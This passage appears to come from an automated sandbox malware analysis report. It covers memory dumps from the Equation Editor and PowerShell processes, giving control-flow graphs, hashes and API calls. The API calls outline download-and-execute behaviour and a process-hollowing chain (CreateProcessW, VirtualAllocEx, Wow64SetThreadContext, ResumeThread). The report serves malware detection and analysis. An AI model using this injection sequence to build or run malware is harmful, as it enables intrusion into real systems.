                                                                                    • Source File: 00000002.00000002.362834487.0000000003560000.00000004.00000020.00020000.00000000.sdmp, Offset: 03560000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_2_2_3560000_EQNEDT32.jbxd
                                                                                    Similarity
                                                                                    • API ID: DownloadExecuteExitFileProcessShell
                                                                                    • String ID:
                                                                                    • API String ID: 3584569557-0
                                                                                    • Opcode ID: 2ac2e785a5df96b5b1d2b6d05b07d367621e1ab0833f3c674eb7a3d1e14328db
                                                                                    • Instruction ID: 863593defa9f2963d15fe939f474f4d1b19fe15fec5d9db1666ae02711e7b5be
                                                                                    • Opcode Fuzzy Hash: 2ac2e785a5df96b5b1d2b6d05b07d367621e1ab0833f3c674eb7a3d1e14328db
                                                                                    • Instruction Fuzzy Hash: 3BF027A055C34439EA21EBB46C8AF5B6F25BFC1740F25088AF1574F0F3E88485008B59
                                                                                    Function 03560701 Relevance: 3.0, APIs: 2, Instructions: 50COMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 115 3560701-3560713 ShellExecuteW 117 356071a-356071d 115->117 118 3560715 call 3560726 115->118 120 356076f 117->120 121 356071f 117->121 118->117 122 3560777-356077b 120->122 123 3560771-3560775 120->123 124 3560790-3560792 121->124 125 3560721-356072b ExitProcess 121->125 122->124 127 356077d-3560781 122->127 123->122 126 3560783-356078a 123->126 128 35607a2-35607a3 124->128 130 356078e 126->130 131 356078c 126->131 127->124 127->126 132 3560794-356079d 130->132 131->124 135 3560766-3560769 132->135 136 356079f 132->136 135->132 137 356076b 135->137 136->128 137->120
                                                                                    APIs
                                                                                    • ShellExecuteW.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 03560713
                                                                                      • Part of subcall function 03560726: ExitProcess.KERNEL32(00000000), ref: 0356072B
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000002.00000002.362834487.0000000003560000.00000004.00000020.00020000.00000000.sdmp, Offset: 03560000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_2_2_3560000_EQNEDT32.jbxd
                                                                                    Similarity
                                                                                    • API ID: ExecuteExitProcessShell
                                                                                    • String ID:
                                                                                    • API String ID: 1124553745-0
                                                                                    • Opcode ID: 9bb4a9efaea7c07eca078e7354966bed14a700fa2dbfda34c55d40211f488600
                                                                                    • Instruction ID: 0e01b35557ae6ede758e4c4f670a90f9e79654a3d8b16507ce9b0d0e5c3a852c
                                                                                    • Opcode Fuzzy Hash: 9bb4a9efaea7c07eca078e7354966bed14a700fa2dbfda34c55d40211f488600
                                                                                    • Instruction Fuzzy Hash: E1017D7896C34221DF30F668AC45BFAAB11FB81700FCC4857A8910B0F5D558D1C38F59
                                                                                    Function 035606EC Relevance: 3.0, APIs: 2, Instructions: 47COMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 138 35606ec-35606ee 140 35606f3-35606f9 138->140 141 35606ee call 3560701 138->141 142 3560760-356076c 140->142 143 35606fb-356071d ShellExecuteW call 3560726 140->143 141->140 144 356076f 142->144 143->144 155 356071f 143->155 146 3560777-356077b 144->146 147 3560771-3560775 144->147 150 3560790-3560792 146->150 151 356077d-3560781 146->151 147->146 149 3560783-356078a 147->149 153 356078e 149->153 154 356078c 149->154 156 35607a2-35607a3 150->156 151->149 151->150 157 3560794-356079d 153->157 154->150 155->150 158 3560721-356072b ExitProcess 155->158 161 3560766-3560769 157->161 162 356079f 157->162 161->157 163 356076b 161->163 162->156 163->144
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000002.00000002.362834487.0000000003560000.00000004.00000020.00020000.00000000.sdmp, Offset: 03560000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_2_2_3560000_EQNEDT32.jbxd
                                                                                    Similarity
                                                                                    • API ID: ExecuteExitProcessShell
                                                                                    • String ID:
                                                                                    • API String ID: 1124553745-0
                                                                                    • Opcode ID: 86e204669779fcf6b1d289fc5e1d83ca539377395524096db536a032bfc48ab3
                                                                                    • Instruction ID: 97665b8474c77fd83d7ae2e1ca29ec322376fb02c986817b8cdc588266bc3dae
                                                                                    • Opcode Fuzzy Hash: 86e204669779fcf6b1d289fc5e1d83ca539377395524096db536a032bfc48ab3
                                                                                    • Instruction Fuzzy Hash: 97017D3056C30534EB70F6786C85BAEEB85FBC1744FA8846BF0920B0F1C28885838E5D
                                                                                    Function 03560726 Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 165 3560726-356072b ExitProcess
                                                                                    APIs
                                                                                    • ExitProcess.KERNEL32(00000000), ref: 0356072B
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000002.00000002.362834487.0000000003560000.00000004.00000020.00020000.00000000.sdmp, Offset: 03560000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_2_2_3560000_EQNEDT32.jbxd
                                                                                    Similarity
                                                                                    • API ID: ExitProcess
                                                                                    • String ID:
                                                                                    • API String ID: 621844428-0
                                                                                    • Opcode ID: 288fe55cd219b45af00edd1f2cff87e2581c67c70a4523920e313d1c8e5ebd5b
                                                                                    • Instruction ID: f49c04242a7a61e974833cf8218924656bc711991e28e6f13ed51e74029fe7d2
                                                                                    • Opcode Fuzzy Hash: 288fe55cd219b45af00edd1f2cff87e2581c67c70a4523920e313d1c8e5ebd5b
                                                                                    • Instruction Fuzzy Hash:
                                                                                    Function 0356072D Relevance: .0, Instructions: 14COMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 167 356072d-3560738 GetPEB 168 356073b-356074c call 3560755 167->168 171 356074e-3560752 168->171
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000002.00000002.362834487.0000000003560000.00000004.00000020.00020000.00000000.sdmp, Offset: 03560000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_2_2_3560000_EQNEDT32.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 15c3e4776a16804bb5212a09f03411bf1d00a4b4976dbaad078e0c99fd6b82f5
                                                                                    • Instruction ID: 75658f3f1ce39d308011d6e62ca6dc53fd607055f88c37acb5f960143804924d
                                                                                    • Opcode Fuzzy Hash: 15c3e4776a16804bb5212a09f03411bf1d00a4b4976dbaad078e0c99fd6b82f5
                                                                                    • Instruction Fuzzy Hash: 23D052752029028FD309DB08E980E52F37AFFC8210B28C268E1004B669E730E892CA90

                                                                                    Non-executed Functions

                                                                                    Function 0356051B Relevance: 1.6, APIs: 1, Instructions: 91COMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 172 356051b-3560542 ExitProcess call 3560534 175 3560595-35605b1 172->175 176 3560545-356054a 172->176 182 35605b3-35605bf 175->182 180 35605b2 176->180 181 356054d 176->181 180->182 183 35605c2-35605cf 181->183 184 356054f-356055e 181->184 182->183 187 35605d0-35605d5 183->187 184->187 188 3560560-3560565 184->188 192 35605d8-35605e2 187->192 188->187 191 3560567 188->191 191->192 193 3560569-356056d 191->193 196 35605e3-356060e 192->196 193->183 194 356056f 193->194 194->196 197 3560571-3560592 call 35605fb 194->197 197->175
                                                                                    APIs
                                                                                    • ExitProcess.KERNEL32(03560509), ref: 0356051B
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000002.00000002.362834487.0000000003560000.00000004.00000020.00020000.00000000.sdmp, Offset: 03560000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_2_2_3560000_EQNEDT32.jbxd
                                                                                    Similarity
                                                                                    • API ID: ExitProcess
                                                                                    • String ID:
                                                                                    • API String ID: 621844428-0
                                                                                    • Opcode ID: ea11346894fe657e7e71bb86e7dfb1062b0cceac6db8711e67ab7e94a8ecad09
                                                                                    • Instruction ID: 1ccd53dd17b19943ecab72914c6bbf09a48c3e7edfb34e10aae99a57d3df55f4
                                                                                    • Opcode Fuzzy Hash: ea11346894fe657e7e71bb86e7dfb1062b0cceac6db8711e67ab7e94a8ecad09
                                                                                    • Instruction Fuzzy Hash: 8931729684E7C01FD322E374AABA155BF60796300070CC6CF84C60F4F3E359AA0697A6

                                                                                    Execution Graph

                                                                                    Execution Coverage:7%
                                                                                    Dynamic/Decrypted Code Coverage:0%
                                                                                    Signature Coverage:33.3%
                                                                                    Total number of Nodes:48
                                                                                    Total number of Limit Nodes:4
                                                                                    execution_graph 6991 217237 6992 217221 6991->6992 6993 2172db 6992->6993 6996 217346 6992->6996 6994 217333 6997 217377 6996->6997 6998 217399 6997->6998 7000 2173b4 6997->7000 7017 217346 7 API calls 6997->7017 7018 2173d0 6997->7018 6998->6994 6999 217ad4 7003 217cb5 CreateProcessW 6999->7003 7015 2179c8 6999->7015 7000->6999 7036 2163c0 7000->7036 7002 2174d8 7002->6999 7004 2163cc Wow64SetThreadContext 7002->7004 7005 217d29 7003->7005 7006 217543 7004->7006 7006->6999 7007 217656 VirtualAllocEx 7006->7007 7006->7015 7008 2176a3 7007->7008 7008->6999 7009 2176f1 VirtualAllocEx 7008->7009 7010 217745 7008->7010 7009->7010 7010->6999 7011 2163f0 Wow64SetThreadContext 7010->7011 7010->7015 7012 217977 7011->7012 7012->6999 7013 21797f 7012->7013 7014 217988 ResumeThread 7013->7014 7013->7015 7014->7015 7015->6994 7017->6997 7019 21744d 7018->7019 7020 2163c0 CreateProcessW 7019->7020 7025 217ad4 7019->7025 7022 2174d8 7020->7022 7021 217cb5 CreateProcessW 7023 217d29 7021->7023 7022->7025 7040 2163cc 7022->7040 7025->7021 7026 2179c8 7025->7026 7026->6997 7027 217543 7027->7025 7027->7026 7028 217656 VirtualAllocEx 7027->7028 7029 2176a3 7028->7029 7029->7025 7030 2176f1 VirtualAllocEx 7029->7030 7031 217745 7029->7031 7030->7031 7031->7025 7031->7026 7044 2163f0 7031->7044 7034 21797f 7034->7026 7035 217988 ResumeThread 7034->7035 7035->7026 7037 217bd0 CreateProcessW 7036->7037 7039 217d29 7037->7039 7041 217e10 Wow64SetThreadContext 7040->7041 7043 217e8a 7041->7043 7043->7027 7045 217e10 Wow64SetThreadContext 7044->7045 7047 217977 7045->7047 7047->7025 7047->7034

                                                                                    Executed Functions

                                                                                    Function 002173D0 Relevance: 6.7, APIs: 4, Instructions: 661memoryprocessthreadCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 0 2173d0-217481 4 217487-217497 0->4 5 217bb9-217c49 0->5 10 2174a0 4->10 11 217499-21749e 4->11 8 217c51-217c58 5->8 9 217c4b-217c4e 5->9 12 217c63-217c79 8->12 13 217c5a-217c60 8->13 9->8 14 2174a2-2174a4 10->14 11->14 15 217c84-217d27 CreateProcessW 12->15 16 217c7b-217c81 12->16 13->12 17 2174a6-2174b9 14->17 18 2174bb-2174da call 2163c0 14->18 25 217d30-217da8 15->25 26 217d29-217d2f 15->26 16->15 17->18 23 2174e3 18->23 24 2174dc-2174e1 18->24 27 2174e5-2174e7 23->27 24->27 45 217dba-217dc1 25->45 46 217daa-217db0 25->46 26->25 30 2174ed-217502 27->30 31 217b2f-217b42 27->31 35 217508-21752c 30->35 36 217b2a 30->36 41 217b49-217b5f 31->41 35->41 47 217532-217545 call 2163cc 35->47 36->31 41->5 56 217b61-217b6b 41->56 49 217dc3-217dd2 45->49 50 217dd8 45->50 46->45 53 21754b-217552 47->53 54 217acd-217acf 47->54 49->50 57 217dd9 50->57 58 217ab3-217ac6 53->58 59 217558-217562 53->59 63 217b76-217b78 56->63 64 217b6d-217b74 56->64 57->57 58->54 59->41 60 217568-217585 59->60 60->36 62 21758b-2175a5 call 2163d8 60->62 72 217ad4 62->72 73 2175ab-2175b2 62->73 67 217b7a-217b7e 63->67 64->67 69 217b80 call 216764 67->69 70 217b85-217b92 67->70 69->70 84 217b94 70->84 85 217b99-217bb6 70->85 78 217adb 72->78 75 217a99-217aac 73->75 76 2175b8-2175c1 73->76 75->58 79 2175c3-217607 76->79 80 21762c-217632 76->80 86 217ae5 78->86 90 217610-21761c 79->90 91 217609-21760f 79->91 80->36 82 217638-217648 80->82 82->36 92 21764e-2176a1 VirtualAllocEx 82->92 84->85 93 217aec 86->93 90->78 94 217622-217626 90->94 91->90 100 2176a3-2176a9 92->100 101 2176aa-2176c8 92->101 98 217af3 93->98 94->80 95 217a7f-217a92 94->95 95->75 103 217afa 98->103 100->101 101->86 102 2176ce-2176d5 101->102 106 2176db-2176e2 102->106 107 21775c-217763 102->107 110 217b01 103->110 106->93 109 2176e8-2176ef 106->109 107->98 108 217769-217770 107->108 111 217a65-217a78 108->111 112 217776-217791 call 2163e4 108->112 109->107 113 2176f1-217743 VirtualAllocEx 109->113 117 217b0b 110->117 111->95 112->103 122 217797-21779e 112->122 115 217745-21774b 113->115 116 21774c-217756 113->116 115->116 116->107 121 217b12 117->121 126 217b19 121->126 123 2177a4-2177ad 122->123 124 217a4b-217a5e 122->124 123->36 127 2177b3-2177b9 123->127 124->111 130 217b23 126->130 127->36 129 2177bf-2177ca 127->129 129->36 133 2177d0-2177d6 129->133 130->36 134 2178d9-2178ea 133->134 135 2177dc-2177e1 133->135 134->36 139 2178f0-217904 call 2163e4 134->139 135->36 136 2177e7-2177fa 135->136 136->36 140 217800-217813 136->140 139->121 144 21790a-217911 139->144 140->36 145 217819-21782e 140->145 146 217a17-217a2a 144->146 147 217917-21791d 144->147 145->110 152 217834-217838 145->152 164 217a31-217a44 146->164 147->36 148 217923-217934 147->148 148->126 153 21793a-21793e 148->153 154 2178bf-2178c2 152->154 155 21783e-217847 152->155 157 217940-217943 153->157 158 217949-217951 153->158 154->36 159 2178c8-2178cb 154->159 155->36 160 21784d-217850 155->160 157->158 158->36 161 217957-217961 158->161 159->36 162 2178d1-2178d3 159->162 160->36 163 217856-217886 160->163 161->41 165 217967-217979 call 2163f0 161->165 162->134 162->135 163->36 173 21788c-2178a5 call 2163e4 163->173 164->124 165->130 172 21797f-217986 165->172 174 2179e3-2179f6 172->174 175 217988-2179c6 ResumeThread 172->175 181 2178aa-2178ac 173->181 179 2179fd-217a10 174->179 177 2179c8-2179ce 175->177 178 2179cf-2179dc 175->178 177->178 178->179 180 2179de 178->180 179->146 180->84 181->117 183 2178b2-2178b9 181->183 183->154 183->164
                                                                                    APIs
                                                                                    • VirtualAllocEx.KERNEL32(?,?,00000000,00003000,00000040), ref: 0021768A
                                                                                    • VirtualAllocEx.KERNEL32(?,00000000,00000000,00003000,00000040), ref: 0021772C
                                                                                    • ResumeThread.KERNELBASE(?), ref: 002179AF
                                                                                    • CreateProcessW.KERNEL32(00000000,?,00000009,?,?,?,?,?,?,?), ref: 00217D14
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.412050213.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_210000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID: AllocVirtual$CreateProcessResumeThread
                                                                                    • String ID:
                                                                                    • API String ID: 1213262536-0
                                                                                    • Opcode ID: bd02f3befb20a7c872d59f772ff52dd931869ca4ddf1cfe97ed6c5200653b204
                                                                                    • Instruction ID: a8689f27315f2099b8f94f5f45c533d5cdbf01817846f25e7b4b1fcdc8261d19
                                                                                    • Opcode Fuzzy Hash: bd02f3befb20a7c872d59f772ff52dd931869ca4ddf1cfe97ed6c5200653b204
                                                                                    • Instruction Fuzzy Hash: 6142B270A182198FEB24CF65C854BDDBBF2AF94304F1480A9E809AB391DB749ED5CF51
                                                                                    Function 00217346 Relevance: 4.9, APIs: 3, Instructions: 443COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.412050213.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_210000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 9d627863081231560bd24ac00135edec598990204829876d38d45c341a324088
                                                                                    • Instruction ID: f768c807b9e3a40369d77564ebc116d2f15b42c86e4a9b15ca67964f3757d4d7
                                                                                    • Opcode Fuzzy Hash: 9d627863081231560bd24ac00135edec598990204829876d38d45c341a324088
                                                                                    • Instruction Fuzzy Hash: BD02AF70A192198FEB20CF24CC54BDDBBF2AF95304F2481AAD809A7291DB749ED5CF51
                                                                                    Function 002D0FD0 Relevance: 4.1, Strings: 3, Instructions: 358COMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 389 2d0fd0-2d0ff3 390 2d11ce-2d1216 389->390 391 2d0ff9-2d0ffe 389->391 408 2d121c-2d1221 390->408 409 2d1383-2d13b5 390->409 392 2d1016-2d101a 391->392 393 2d1000-2d1006 391->393 397 2d117b-2d1185 392->397 398 2d1020-2d1024 392->398 395 2d1008 393->395 396 2d100a-2d1014 393->396 395->392 396->392 399 2d1187-2d1190 397->399 400 2d1193-2d1199 397->400 401 2d1037 398->401 402 2d1026-2d1035 398->402 406 2d119f-2d11ab 400->406 407 2d119b-2d119d 400->407 404 2d1039-2d103b 401->404 402->404 404->397 410 2d1041-2d1061 404->410 411 2d11ad-2d11cb 406->411 407->411 413 2d1239-2d123d 408->413 414 2d1223-2d1229 408->414 431 2d13c5 409->431 432 2d13b7-2d13c3 409->432 435 2d1080 410->435 436 2d1063-2d107e 410->436 419 2d1243-2d1245 413->419 420 2d1332-2d133c 413->420 417 2d122d-2d1237 414->417 418 2d122b 414->418 417->413 418->413 422 2d1255 419->422 423 2d1247-2d1253 419->423 425 2d133e-2d1347 420->425 426 2d134a-2d1350 420->426 429 2d1257-2d1259 422->429 423->429 433 2d1356-2d1362 426->433 434 2d1352-2d1354 426->434 429->420 437 2d125f-2d1261 429->437 438 2d13c7-2d13c9 431->438 432->438 439 2d1364-2d1380 433->439 434->439 440 2d1082-2d1084 435->440 436->440 441 2d1271 437->441 442 2d1263-2d126f 437->442 443 2d13cb-2d13d1 438->443 444 2d1415-2d141f 438->444 440->397 451 2d108a-2d108c 440->451 450 2d1273-2d1275 441->450 442->450 452 2d13df-2d13fc 443->452 453 2d13d3-2d13d5 443->453 447 2d142a-2d1430 444->447 448 2d1421-2d1427 444->448 454 2d1436-2d1442 447->454 455 2d1432-2d1434 447->455 450->420 458 2d127b-2d127d 450->458 456 2d109c 451->456 457 2d108e-2d109a 451->457 468 2d13fe-2d140f 452->468 469 2d1462-2d1467 452->469 453->452 460 2d1444-2d145f 454->460 455->460 462 2d109e-2d10a0 456->462 457->462 464 2d127f-2d1285 458->464 465 2d1297-2d129b 458->465 462->397 471 2d10a6-2d10c6 462->471 472 2d1289-2d1295 464->472 473 2d1287 464->473 466 2d129d-2d12a3 465->466 467 2d12b5-2d132f 465->467 474 2d12a5 466->474 475 2d12a7-2d12b3 466->475 468->444 469->468 485 2d10de-2d10e2 471->485 486 2d10c8-2d10ce 471->486 472->465 473->465 474->467 475->467 490 2d10fc-2d1100 485->490 491 2d10e4-2d10ea 485->491 488 2d10d0 486->488 489 2d10d2-2d10d4 486->489 488->485 489->485 494 2d1107-2d1109 490->494 492 2d10ec 491->492 493 2d10ee-2d10fa 491->493 492->490 493->490 496 2d110b-2d1111 494->496 497 2d1121-2d1178 494->497 498 2d1115-2d1117 496->498 499 2d1113 496->499 498->497 499->497
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.412078404.00000000002D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002D0000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2d0000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: 4:&$4:&$|:&
                                                                                    • API String ID: 0-845251057
                                                                                    • Opcode ID: 5ac7e2575e4569cc905f47f4591b6a9c2fb1d120447aeacaa182d86140e19541
                                                                                    • Instruction ID: e1e332e460b051477d011f77bb31c36e48f26413660609afb67fc14723d64dd5
                                                                                    • Opcode Fuzzy Hash: 5ac7e2575e4569cc905f47f4591b6a9c2fb1d120447aeacaa182d86140e19541
                                                                                    • Instruction Fuzzy Hash: F5C13631B24342AFDB249F65881076ABBA2AFD4311F24846BD955CBB81DBB2CC71C761
                                                                                    Function 002D19A8 Relevance: 2.8, Strings: 2, Instructions: 336COMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 501 2d19a8-2d19ce 502 2d1b7a-2d1bc2 501->502 503 2d19d4-2d19d9 501->503 520 2d1bc8-2d1bcd 502->520 521 2d1cf4-2d1d25 502->521 504 2d19db-2d19e1 503->504 505 2d19f1-2d19f5 503->505 506 2d19e5-2d19ef 504->506 507 2d19e3 504->507 509 2d19fb-2d19fd 505->509 510 2d1b26-2d1b30 505->510 506->505 507->505 511 2d1a0d 509->511 512 2d19ff-2d1a0b 509->512 513 2d1b3e-2d1b44 510->513 514 2d1b32-2d1b3b 510->514 517 2d1a0f-2d1a11 511->517 512->517 518 2d1b4a-2d1b56 513->518 519 2d1b46-2d1b48 513->519 517->510 522 2d1a17-2d1a1b 517->522 523 2d1b58-2d1b77 518->523 519->523 525 2d1bcf-2d1bd5 520->525 526 2d1be5-2d1be9 520->526 551 2d1d35 521->551 552 2d1d27-2d1d33 521->552 527 2d1a1d-2d1a2c 522->527 528 2d1a2e 522->528 534 2d1bd9-2d1be3 525->534 535 2d1bd7 525->535 530 2d1bef-2d1bf1 526->530 531 2d1ca6-2d1cb0 526->531 529 2d1a30-2d1a32 527->529 528->529 529->510 536 2d1a38-2d1a3a 529->536 537 2d1c01 530->537 538 2d1bf3-2d1bff 530->538 539 2d1cbd-2d1cc3 531->539 540 2d1cb2-2d1cba 531->540 534->526 535->526 542 2d1a3c-2d1a48 536->542 543 2d1a4a 536->543 544 2d1c03-2d1c05 537->544 538->544 547 2d1cc9-2d1cd5 539->547 548 2d1cc5-2d1cc7 539->548 549 2d1a4c-2d1a4e 542->549 543->549 544->531 550 2d1c0b-2d1c0d 544->550 553 2d1cd7-2d1cf1 547->553 548->553 549->510 554 2d1a54-2d1a56 549->554 555 2d1c0f-2d1c15 550->555 556 2d1c27-2d1c29 550->556 557 2d1d37-2d1d39 551->557 552->557 559 2d1a58-2d1a5e 554->559 560 2d1a70-2d1a7b 554->560 561 2d1c19-2d1c25 555->561 562 2d1c17 555->562 572 2d1c30-2d1c32 556->572 563 2d1d3b-2d1d5a 557->563 564 2d1da7-2d1db1 557->564 566 2d1a60 559->566 567 2d1a62-2d1a6e 559->567 570 2d1a7d-2d1a80 560->570 571 2d1a8a-2d1a96 560->571 561->556 562->556 593 2d1d5c-2d1d68 563->593 594 2d1d6a 563->594 568 2d1dba-2d1dc0 564->568 569 2d1db3-2d1db7 564->569 566->560 567->560 578 2d1dc6-2d1dd2 568->578 579 2d1dc2-2d1dc4 568->579 570->571 573 2d1a98-2d1a9a 571->573 574 2d1aa4-2d1ab4 571->574 575 2d1c4a-2d1ca3 572->575 576 2d1c34-2d1c3a 572->576 573->574 591 2d1acc-2d1b23 574->591 592 2d1ab6-2d1abc 574->592 582 2d1c3c 576->582 583 2d1c3e-2d1c40 576->583 586 2d1dd4-2d1df2 578->586 579->586 582->575 583->575 596 2d1abe 592->596 597 2d1ac0-2d1ac2 592->597 595 2d1d6c-2d1d6e 593->595 594->595 595->564 599 2d1d70-2d1d8d 595->599 596->591 597->591 602 2d1d8f-2d1da1 599->602 603 2d1df5-2d1dfa 599->603 602->564 603->602
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.412078404.00000000002D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002D0000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2d0000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: h%g$h%g
                                                                                    • API String ID: 0-1445944727
                                                                                    • Opcode ID: 9a97a29e7f880bbc8904d63f3bb19e95c2e84681a00d88ae1bdb4a9a04939cc4
                                                                                    • Instruction ID: 41e3c2482c5c011ac318481c2b27c62d64b7b8a7ca4fb068a241e88981868f3a
                                                                                    • Opcode Fuzzy Hash: 9a97a29e7f880bbc8904d63f3bb19e95c2e84681a00d88ae1bdb4a9a04939cc4
                                                                                    • Instruction Fuzzy Hash: 19B12635B24302AFDB258F64C4107AABBA2AFD5311F2884BBD8558B791DBB1CC71C761
                                                                                    Function 002D0FB0 Relevance: 2.6, Strings: 2, Instructions: 104COMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 605 2d0fb0-2d0ff3 607 2d11ce-2d1216 605->607 608 2d0ff9-2d0ffe 605->608 625 2d121c-2d1221 607->625 626 2d1383-2d13b5 607->626 609 2d1016-2d101a 608->609 610 2d1000-2d1006 608->610 614 2d117b-2d1185 609->614 615 2d1020-2d1024 609->615 612 2d1008 610->612 613 2d100a-2d1014 610->613 612->609 613->609 616 2d1187-2d1190 614->616 617 2d1193-2d1199 614->617 618 2d1037 615->618 619 2d1026-2d1035 615->619 623 2d119f-2d11ab 617->623 624 2d119b-2d119d 617->624 621 2d1039-2d103b 618->621 619->621 621->614 627 2d1041-2d1061 621->627 628 2d11ad-2d11cb 623->628 624->628 630 2d1239-2d123d 625->630 631 2d1223-2d1229 625->631 648 2d13c5 626->648 649 2d13b7-2d13c3 626->649 652 2d1080 627->652 653 2d1063-2d107e 627->653 636 2d1243-2d1245 630->636 637 2d1332-2d133c 630->637 634 2d122d-2d1237 631->634 635 2d122b 631->635 634->630 635->630 639 2d1255 636->639 640 2d1247-2d1253 636->640 642 2d133e-2d1347 637->642 643 2d134a-2d1350 637->643 646 2d1257-2d1259 639->646 640->646 650 2d1356-2d1362 643->650 651 2d1352-2d1354 643->651 646->637 654 2d125f-2d1261 646->654 655 2d13c7-2d13c9 648->655 649->655 656 2d1364-2d1380 650->656 651->656 657 2d1082-2d1084 652->657 653->657 658 2d1271 654->658 659 2d1263-2d126f 654->659 660 2d13cb-2d13d1 655->660 661 2d1415-2d141f 655->661 657->614 668 2d108a-2d108c 657->668 667 2d1273-2d1275 658->667 659->667 669 2d13df-2d13fc 660->669 670 2d13d3-2d13d5 660->670 664 2d142a-2d1430 661->664 665 2d1421-2d1427 661->665 671 2d1436-2d1442 664->671 672 2d1432-2d1434 664->672 667->637 675 2d127b-2d127d 667->675 673 2d109c 668->673 674 2d108e-2d109a 668->674 685 2d13fe-2d140f 669->685 686 2d1462-2d1467 669->686 670->669 677 2d1444-2d145f 671->677 672->677 679 2d109e-2d10a0 673->679 674->679 681 2d127f-2d1285 675->681 682 2d1297-2d129b 675->682 679->614 688 2d10a6-2d10c6 679->688 689 2d1289-2d1295 681->689 690 2d1287 681->690 683 2d129d-2d12a3 682->683 684 2d12b5-2d132f 682->684 691 2d12a5 683->691 692 2d12a7-2d12b3 683->692 685->661 686->685 702 2d10de-2d10e2 688->702 703 2d10c8-2d10ce 688->703 689->682 690->682 691->684 692->684 707 2d10fc-2d1100 702->707 708 2d10e4-2d10ea 702->708 705 2d10d0 703->705 706 2d10d2-2d10d4 703->706 705->702 706->702 711 2d1107-2d1109 707->711 709 2d10ec 708->709 710 2d10ee-2d10fa 708->710 709->707 710->707 713 2d110b-2d1111 711->713 714 2d1121-2d1178 711->714 715 2d1115-2d1117 713->715 716 2d1113 713->716 715->714 716->714
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.412078404.00000000002D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002D0000, based on PE: false
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2d0000_powershell.jbxd
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: 4:&$4:&
                                                                                    • API String ID: 0-3518402289
                                                                                    • Opcode ID: 2bd32215beffe720910f29825d89594674fd61e2c1f5c608fa7451e12f2d6a8c
                                                                                    • Instruction ID: 7c53a1d28b5cea1967cd142457d21b3b317c401e3ad220dbbaa989a380cf25a7
                                                                                    • Opcode Fuzzy Hash: 2bd32215beffe720910f29825d89594674fd61e2c1f5c608fa7451e12f2d6a8c
                                                                                    • Instruction Fuzzy Hash: 35312630628386EFDB20AE608811779BBB1AF50301F148067CD098B791D7B6CCF1DB61
                                                                                    Function 00217BC4 Relevance: 1.7, APIs: 1, Instructions: 159processCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
